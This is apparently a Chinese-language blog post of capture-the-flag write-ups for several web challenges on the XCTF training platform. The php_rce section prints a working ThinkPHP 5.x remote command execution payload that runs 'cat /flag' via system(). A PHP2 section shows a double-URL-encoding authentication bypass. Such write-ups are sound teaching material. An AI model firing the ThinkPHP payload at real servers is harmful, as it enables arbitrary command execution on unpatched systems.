攻防世界Web高手进阶区

量有点多,慢慢更新吧。

Training-WWW-Robots

题目

In this little training challenge, you are going to learn about the Robots_exclusion_standard.
The robots.txt file is used by web crawlers to check if they are allowed to crawl and index your website or only parts of it.
Sometimes these files reveal the directory structure instead of protecting the content from being crawled.

Enjoy!

解决方案

查看robots.txt,获得flag文件位置。

baby_web

题目

想想初始页面是哪个

解决方案

根据提示,web的初始页面是index.php,跳转index.php,发现仍然留在1.php页面中。

查看Network,发现index.php被自动跳转,在index.php中找到flag。

php_rce

题目

解决方案

查了一下,找到了ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用:

https://www.vulnspy.com/cn-thinkphp-5.x-rce/

程序未对控制器进行过滤,导致攻击者可以通过引入\符号来调用任意类方法。

使用payload:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=

等号后面加上命令:

http://159.138.137.79:55587/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag

PHP2

题目

Can you anthenticate to this website?

解决方案

除了这句提示就没别的内容了。

我先检查了一遍源代码,看了一下cookie,貌似没有找到其他可以用到的有关提示。

然后看了一下wp,提示去.phps找flag(可我遍历网站目录也没有找到,不知道是不是我的字典问题啊)。

phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要知用phps文件代替。

源代码泄露题:

<?php
if("admin"===$_GET[id]) {
    echo("<p>not allowed!</p>");
    exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin") {
    echo "<p>Access granted!</p>";
    echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?

大概意思就是通过getid参数,先 === 判断,转换编码后用 == 判断。

从网址输入的参数值要先经过urldecode,再加上源代码中的urldecode,所以大概是要通过两次urldecode。

a%61
%%25
urldecode

将admin连续urlencode两次得到payload。

?id=%2561dmin

输入得到flag。

其实我还尝试了一种关于上传数字,将”admin”解析成0的解法,但是发现经过urlencode之后就不算是数字了,所以也行不通。

NaNNaNNaNNaN-Batman

解决方案

下载下来的附件,是一段代码+乱码:

<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){	[0]);.splice(0,1)}}}	\'<input id="c">< onclick=$()>Ok</>\');delete _var ","docu.)match(/"];/)!=null=["	write(s[o%4]buttonif(e.ment';for(Y in $='	')with(_.split($[Y]))_=join(pop());alert(_)</script>

仔细查看这段js代码后,发现最后有个eval()函数执行行了前面的_函数。

eval()函数:

20190829235717.png

大概是前面的字符被计算了,所以显示错误。

把eval改成alert,即可返回函数。

排版一下。

function $() {
        var e = document.getElementById("c").value;
        if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
            var t = ["fl", "s_a", "i", "e}"];
            var n = ["a", "_h0l", "n"];
            var r = ["g{", "e", "_0"];
            var i = ["it'", "_", "n"];
            var s = [t, n, r, i];
            for (var o = 0; o < 13; ++o) {
                document.write(s[o % 4][0]);
                s[o % 4].splice(0, 1)
            }
        }
    }
    document.write('<input id="c"><button onclick=$()>Ok</button>');
    delete _;

if 语句,得到的规则是:

  • e 的长度为16
  • e 以 be0f23 开头
  • e 以 e98aa 结尾
  • e 含有 233ac 字符串
  • e 含有 c7be9 字符串

拼凑出来的字符串是:

be0f23 3ac7b e98aa

输入得到flag。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇